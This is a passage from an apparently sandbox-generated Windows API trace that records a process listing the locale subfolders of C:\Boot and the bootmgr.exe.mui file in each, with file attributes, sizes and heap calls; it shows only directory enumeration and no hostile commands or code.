nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0214.557] FindNextFileW (in: hFindFile=0x599090, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0214.557] FindClose (in: hFindFile=0x599090 | out: hFindFile=0x599090) returned 1 [0214.557] GetProcessHeap () returned 0x560000 [0214.557] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5dbd78 | out: hHeap=0x560000) returned 1 [0214.558] FindNextFileW (in: hFindFile=0x599168, lpFindFileData=0x2cff4c0 | out: lpFindFileData=0x2cff4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0214.558] GetProcessHeap () returned 0x560000 [0214.558] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5dbd78 [0214.558] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-BR\\*", lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x599090 [0214.560] FindNextFileW (in: hFindFile=0x599090, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.560] FindNextFileW (in: hFindFile=0x599090, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0214.561] FindNextFileW (in: hFindFile=0x599090, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0214.561] FindClose (in: hFindFile=0x599090 | out: hFindFile=0x599090) returned 1 [0214.561] GetProcessHeap () returned 0x560000 [0214.561] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5dbd78 | out: hHeap=0x560000) returned 1 [0214.561] FindNextFileW (in: hFindFile=0x599168, lpFindFileData=0x2cff4c0 | out: lpFindFileData=0x2cff4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0214.561] GetProcessHeap () returned 0x560000 [0214.561] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5dbd78 [0214.561] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-PT\\*", lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x599090 [0214.562] FindNextFileW (in: hFindFile=0x599090, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.562] FindNextFileW (in: hFindFile=0x599090, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0214.562] FindNextFileW (in: hFindFile=0x599090, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0214.563] FindClose (in: hFindFile=0x599090 | out: hFindFile=0x599090) returned 1 [0214.563] GetProcessHeap () returned 0x560000 [0214.563] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5dbd78 | out: hHeap=0x560000) returned 1 [0214.563] FindNextFileW (in: hFindFile=0x599168, lpFindFileData=0x2cff4c0 | out: lpFindFileData=0x2cff4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0214.563] GetProcessHeap () returned 0x560000 [0214.563] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5dbd78 [0214.563] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ru-RU\\*", lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x599090 [0214.567] FindNextFileW (in: hFindFile=0x599090, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.567] FindNextFileW (in: hFindFile=0x599090, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0214.568] FindNextFileW (in: hFindFile=0x599090, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0214.568] FindClose (in: hFindFile=0x599090 | out: hFindFile=0x599090) returned 1 [0214.568] GetProcessHeap () returned 0x560000 [0214.568] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5dbd78 | out: hHeap=0x560000) returned 1 [0214.568] FindNextFileW (in: hFindFile=0x599168, lpFindFileData=0x2cff4c0 | out: lpFindFileData=0x2cff4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0214.568] GetProcessHeap () returned 0x560000 [0214.568] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5dbd78 [0214.569] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\sv-SE\\*", lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x599090 [0214.569] FindNextFileW (in: hFindFile=0x599090, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.569] FindNextFileW (in: hFindFile=0x599090, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0214.569] FindNextFileW (in: hFindFile=0x599090, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0214.570] FindClose (in: hFindFile=0x599090 | out: hFindFile=0x599090) returned 1 [0214.570] GetProcessHeap () returned 0x560000 [0214.570] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5dbd78 | out: hHeap=0x560000) returned 1 [0214.570] FindNextFileW (in: hFindFile=0x599168, lpFindFileData=0x2cff4c0 | out: lpFindFileData=0x2cff4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0214.570] GetProcessHeap () returned 0x560000 [0214.570] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5dbd78 [0214.570] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\tr-TR\\*", lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x599090 [0214.572] FindNextFileW (in: hFindFile=0x599090, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.572] FindNextFileW (in: hFindFile=0x599090, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0214.572] FindNextFileW (in: hFindFile=0x599090, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0214.572] FindClose (in: hFindFile=0x599090 | out: hFindFile=0x599090) returned 1 [0214.572] GetProcessHeap () returned 0x560000 [0214.573] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5dbd78 | out: hHeap=0x560000) returned 1 [0214.573] FindNextFileW (in: hFindFile=0x599168, lpFindFileData=0x2cff4c0 | out: lpFindFileData=0x2cff4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0214.573] GetProcessHeap () returned 0x560000 [0214.573] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5dbd78 [0214.573] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-CN\\*", lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x599090 [0214.573] FindNextFileW (in: hFindFile=0x599090, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.573] FindNextFileW (in: hFindFile=0x599090, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0214.574] FindNextFileW (in: hFindFile=0x599090, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0214.574] FindClose (in: hFindFile=0x599090 | out: hFindFile=0x599090) returned 1 [0214.574] GetProcessHeap () returned 0x560000 [0214.574] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5dbd78 | out: hHeap=0x560000) returned 1 [0214.574] FindNextFileW (in: hFindFile=0x599168, lpFindFileData=0x2cff4c0 | out: lpFindFileData=0x2cff4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0214.574] GetProcessHeap () returned 0x560000 [0214.574] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5dbd78 [0214.574] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-HK\\*", lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x599090 [0214.576] FindNextFileW (in: hFindFile=0x599090, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.576] FindNextFileW (in: hFindFile=0x599090, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0214.577] FindNextFileW (in: hFindFile=0x599090, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0214.577] FindClose (in: hFindFile=0x599090 | out: hFindFile=0x599090) returned 1 [0214.577] GetProcessHeap () returned 0x560000 [0214.577] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5dbd78 | out: hHeap=0x560000) returned 1 [0214.577] FindNextFileW (in: hFindFile=0x599168, lpFindFileData=0x2cff4c0 | out: lpFindFileData=0x2cff4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0214.577] GetProcessHeap () returned 0x560000 [0214.577] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5dbd78 [0214.577] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-TW\\*", lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x599090 [0214.578] FindNextFileW (in: hFindFile=0x599090, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.578] FindNextFileW (in: hFindFile=0x599090, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0214.578] FindNextFileW (in: hFindFile=0x599090, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0214.579] FindClose (in: hFindFile=0x599090 | out: hFindFile=0x599090) returned 1 [0214.579] GetProcessHeap () returned 0x560000 